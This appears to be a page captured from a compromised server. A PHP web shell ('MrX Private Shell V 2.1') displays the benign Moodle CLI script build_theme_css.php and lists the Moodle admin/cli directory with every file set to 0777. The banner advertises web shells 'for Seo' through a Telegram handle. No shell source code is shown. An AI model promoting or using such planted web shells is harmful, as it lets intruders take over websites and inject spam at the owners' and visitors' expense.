__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Build and store theme CSS.
*
* @package core
* @subpackage cli
* @copyright 2017 Ryan Wyllie <ryan@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
define('CLI_SCRIPT', true);
require(__DIR__.'/../../config.php');
require_once("$CFG->libdir/clilib.php");
require_once("$CFG->libdir/csslib.php");
require_once("$CFG->libdir/outputlib.php");
$longparams = [
'themes' => null,
'direction' => null,
'help' => false,
'verbose' => false
];
$shortmappings = [
't' => 'themes',
'd' => 'direction',
'h' => 'help',
'v' => 'verbose'
];
// Get CLI params.
list($options, $unrecognized) = cli_get_params($longparams, $shortmappings);
if ($unrecognized) {
$unrecognized = implode("\n ", $unrecognized);
cli_error(get_string('cliunknowoption', 'admin', $unrecognized));
}
if ($options['help']) {
echo
"Compile the CSS for one or more installed themes.
Existing CSS caches will replaced.
By default all themes will be recompiled unless otherwise specified.
Options:
-t, --themes A comma separated list of themes to be compiled
-d, --direction Only compile a single direction (either ltr or rtl)
-v, --verbose Print info comments to stdout
-h, --help Print out this help
Example:
\$ sudo -u www-data /usr/bin/php admin/cli/build_theme_css.php --themes=boost --direction=ltr
";
die;
}
if (empty($options['verbose'])) {
$trace = new null_progress_trace();
} else {
$trace = new text_progress_trace();
}
cli_heading('Build theme css');
// Determine which themes we need to build.
$themenames = [];
if (is_null($options['themes'])) {
$trace->output('No themes specified. Finding all installed themes.');
$themenames = array_keys(core_component::get_plugin_list('theme'));
} else {
if (is_string($options['themes'])) {
$themenames = explode(',', $options['themes']);
} else {
cli_error('--themes must be a comma separated list of theme names');
}
}
$trace->output('Checking that each theme is correctly installed...');
$themeconfigs = [];
foreach ($themenames as $themename) {
if (is_null(theme_get_config_file_path($themename))) {
cli_error("Unable to find theme config for {$themename}");
}
// Load the config for the theme.
$themeconfigs[] = theme_config::load($themename);
}
$directions = ['ltr', 'rtl'];
if (!is_null($options['direction'])) {
if (!in_array($options['direction'], $directions)) {
cli_error("--direction must be either ltr or rtl");
}
$directions = [$options['direction']];
}
$trace->output('Building CSS for themes: ' . implode(', ', $themenames));
theme_build_css_for_themes($themeconfigs, $directions);
exit(0);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| adhoc_task.php | File | 5.06 KB | 0777 |
|
| alternative_component_cache.php | File | 3 KB | 0777 |
|
| automated_backups.php | File | 2.67 KB | 0777 |
|
| backup.php | File | 4.71 KB | 0777 |
|
| build_theme_css.php | File | 3.35 KB | 0777 |
|
| cfg.php | File | 6.5 KB | 0777 |
|
| check_database_schema.php | File | 1.89 KB | 0777 |
|
| checks.php | File | 4.62 KB | 0777 |
|
| cron.php | File | 5.25 KB | 0777 |
|
| dashboard_reset.php | File | 1.74 KB | 0777 |
|
| delete_course.php | File | 3.58 KB | 0777 |
|
| emailstop.php | File | 6.24 KB | 0777 |
|
| fix_course_sequence.php | File | 4.28 KB | 0777 |
|
| fix_deleted_users.php | File | 3.29 KB | 0777 |
|
| fix_orphaned_calendar_events.php | File | 5.23 KB | 0777 |
|
| fix_orphaned_question_categories.php | File | 3.45 KB | 0777 |
|
| generate_key.php | File | 2.42 KB | 0777 |
|
| import.php | File | 4.8 KB | 0777 |
|
| install.php | File | 31.12 KB | 0777 |
|
| install_database.php | File | 6.83 KB | 0777 |
|
| kill_all_sessions.php | File | 1.54 KB | 0777 |
|
| maintenance.php | File | 3.62 KB | 0777 |
|
| mysql_collation.php | File | 12.37 KB | 0777 |
|
| mysql_compressed_rows.php | File | 6.53 KB | 0777 |
|
| purge_caches.php | File | 2.45 KB | 0777 |
|
| reset_password.php | File | 3.17 KB | 0777 |
|
| restore_backup.php | File | 4.66 KB | 0777 |
|
| scheduled_task.php | File | 6.06 KB | 0777 |
|
| svgtool.php | File | 5.05 KB | 0777 |
|
| uninstall_plugins.php | File | 6.2 KB | 0777 |
|
| upgrade.php | File | 12.82 KB | 0777 |
|